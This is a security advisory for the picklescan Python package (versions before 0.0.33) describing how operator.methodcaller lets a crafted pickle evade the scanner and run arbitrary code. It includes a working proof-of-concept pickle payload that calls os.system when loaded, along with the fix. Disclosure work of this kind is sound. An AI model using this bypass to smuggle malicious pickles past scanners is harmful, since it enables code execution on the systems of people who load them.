Deserialization of Untrusted Data Affecting picklescan package, versions [,0.0.33)
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Start learning- Snyk IDSNYK-PYTHON-PICKLESCAN-14724491
- published30 Dec 2025
- disclosed29 Dec 2025
- creditCoolwindHF
Introduced: 29 Dec 2025
CVE NOT AVAILABLE CWE-502 (opens in a new tab)How to fix?
Upgrade picklescan to version 0.0.33 or higher.
Overview
picklescan is a Security scanner detecting Python Pickle files performing suspicious actions
Affected versions of this package are vulnerable to Deserialization of Untrusted Data via the operator.methodcaller function, which is a built-in Python library function used to execute a remote pickle file. An attacker can execute arbitrary code by crafting a malicious pickle file that bypasses detection and is subsequently loaded.
PoC
import pickle
import pickletools
opcode1 = b'''cbuiltins
__import__
(Vos
tRp0
0coperator
methodcaller
(Vsystem
Vecho "pwned by operator.methodcaller"
tR(g0
tR.'''
pickletools.dis(opcode1)
pickle.loads(opcode1)